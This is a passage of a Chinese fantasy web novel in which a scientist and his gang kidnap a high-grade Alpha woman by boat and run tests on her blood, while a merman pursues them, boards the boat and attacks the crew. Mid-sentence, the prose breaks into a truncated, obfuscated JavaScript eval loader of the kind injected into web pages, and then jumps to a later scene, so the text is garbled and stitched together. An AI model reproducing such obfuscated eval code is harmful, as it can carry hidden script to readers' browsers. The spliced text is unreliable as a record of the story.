穿白衣大褂的老人,显然已从之前的联系里已经得知,这一趟的变数就是因为后边这个女Alpha。 “花了这么长时间,10分钟过去,这人不得死得透透的!她身上还多少血?够几个人用的?” 说完,又踢了一脚旁边的大块头老九,让他去帮忙把人接上来。 狂鲨现在说话的力气都快没有了,他身上大伤小伤不断,看得老人直皱眉:“那条水下通道不是被清理过了吗,你这伤是哪来的?” “靠,博士,你先看看这个女人到底是什么毛病,咱们真的没抓错人吗,这家伙在水下差点鲨鱼化了!” 等老五也从绳梯上爬上来之后,船只即刻启动。 博士在甲板上拍了拍季晩的脸,上下检查了一下,听着狂鲨嘴里的描述表情变得越来越怪。 他们内部从信息库里搞到的东西是有限的,所以只能通过上次的窗户事件做排除法,然后通过监控核对确认了她高等级Alpha的身份。 他马上给季晩抽了一管血。 “人没死当然是好事,其他的等到了实验室再……” 哐啷一声,行进中的船只剧烈晃动了一下。 博士一个没站稳,全靠旁边的助手扶着,他表情不善的看向驾驶室:“怎么回事?” 通讯器里传来了驾驶员的声音。 “对不起博士,后方好像有东西正在撞击我们的船!” “雷达上面没有显示?” 而旁边的狂鲨突然面色一变,立刻扒到栏杆上往床后面看去,这感觉太熟悉,让他想起了在公路上被一辆驾校车反复追尾的经历。 “靠,这么大的金色尾巴,到底是个什么鬼玩意儿?” 老五早就换了新的装备,闻言也开始瞄准水里面那一抹不时上浮露出的金色鱼尾。 “等等——” 旁边站稳的博士凑到栏杆边,他单侧眼镜上戴着一个厚厚的圆筒眼镜,此时转动着镜框,亮着绿色的光。 不多时他面色有些苍白,掉下两颗冷汗:“塞壬……鲛人……” 狂鲨对这俩远古词汇不怎么熟悉,立刻问了这什么东西。 “这是人鱼!赶紧开干扰雷达加速冲出去!这鬼东西几百年见不到一条能活到成年的,怎么来了条发育这么好的,还跟到这儿来了!” 人鱼,如今海洋三巨头里,对外传说是最温和的物种。 因为数量实在太少,而又因其拥有治愈系能力,从水下差点被灭族的受害者摇身一变,成为了岸上最欢受欢迎的稀有物种。 旁边开了几枪,却没看到什么效果的老五,不太懂博士为什么一副如临大敌的样子。 “人鱼不就是尾巴劲儿比较大,再就是能唱唱歌啥的吗?”据说都快掉出三巨头行列了。 博士已经在破口大骂催促工作人员去拿什么东西了。 “你懂个屁,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季晩的血液检查初步筛选结果很惊人,她体内的信息素就像是两根上下纠缠波动的螺旋曲线,一根上升一根下降,蓝红两根线偶尔还会交叉。 正常的人类或者海洋幻想种,都不会有这样的信息素波动曲线。 博士的眼睛微微更大,脑子里突然划过了某个可能,迅速往图表后面又扒了几下,果不其然看到了一个检测结果。 “居然是3s级以上的Alpha,怪不得人鱼要追她!怪不得她可以变成那副样子,她耳后的鱼鳃是不是已经在消失了?” 旁边已经在给季晩贴电极片的助手点头:“所有类似海洋生物的特征已经全部消退。” 戴着耳机的博士,这个刚刚还被人鱼袭击吓得几乎魂飞魄散的老头子,这会儿回光返照似的直接站了起来。 “太好了,你们居然把她给带回来了,当年那艘船沉了以后就一直找不到她的踪迹,没想到居然在这里!!!” 老头子的狂喜,让旁边的三兄弟有些看不懂,此时船又剧烈震动了一下,仿佛是发现声波攻击削弱效果之后,人鱼又开始撞船了。 博士这回却毅然决然地站了起来,用通讯器给前头开船的人发去指令。 “我不管那人鱼到底有多厉害,今天这个人咱们一定得带走,不管用什么武器储备,想办法弄死他!” “还有,”博士转头又和助手吩咐了两句。 “给那个人类打一针抑制剂,不能让她的腺体发挥作用,你们之前给她打了那么大剂量的镇静剂她很快也会代谢掉的,小白,再检测一下她的心率和其他身体指标,别把人直接给弄死了。” “手环怎么还留着,赶紧剪下来!” 季晩手上那个定位手环一直在震动,制造材料和工艺似乎相当特殊,工作人员用了老虎钳都没能弄断,只能让旁边的人去取了专业的切割器械。 此时船速已经提到最高,那种让众人隔着耳机也会觉得头痛的尖锐声音,似乎消退了不少,船身也很久没有产生过剧烈撞击感了。 博士一边看着季晩的数据,一边喜笑颜开,像是找回了自己初当研究员时的那种热情,抽空又用通讯器联络了一下驾驶室里面的人。 “生物雷达开启了没有,咱们甩开那条人鱼了吗?” 然而通讯机那头却没有回信,博士皱眉,确认没有人鱼的声音影响之后,他打开了视频端口,查看那边的影像。 一阵奇怪的声音从驾驶室传来,那像是血肉被撕裂开的动静。 几缕染着血的金发垂下,一双绿宝石般的眸子,鬼魅般盯着镜头这边。 因长时间下水而淡得几乎没有血色的唇微启,他没有说任何词汇,却像是有无形的声音,透过通讯频道被不断放大,放大。 论谁都能看懂那个眼神的意思。 ‘把她,还给我——’ 致命的音波让博士眼中的红细血管瞬间爆裂,头发花白的老人直接跪了下去,旁边同时戴着监听耳机和博士一起查看驾驶室情况的狂鲨也好不到哪儿去。 狂鲨用尽全身所有的力气将耳机扯下,嘶哑的喉咙吼出指令。 “那条该死的人鱼上船了,所有人守好房间!捂住耳朵,不要听任何声音!”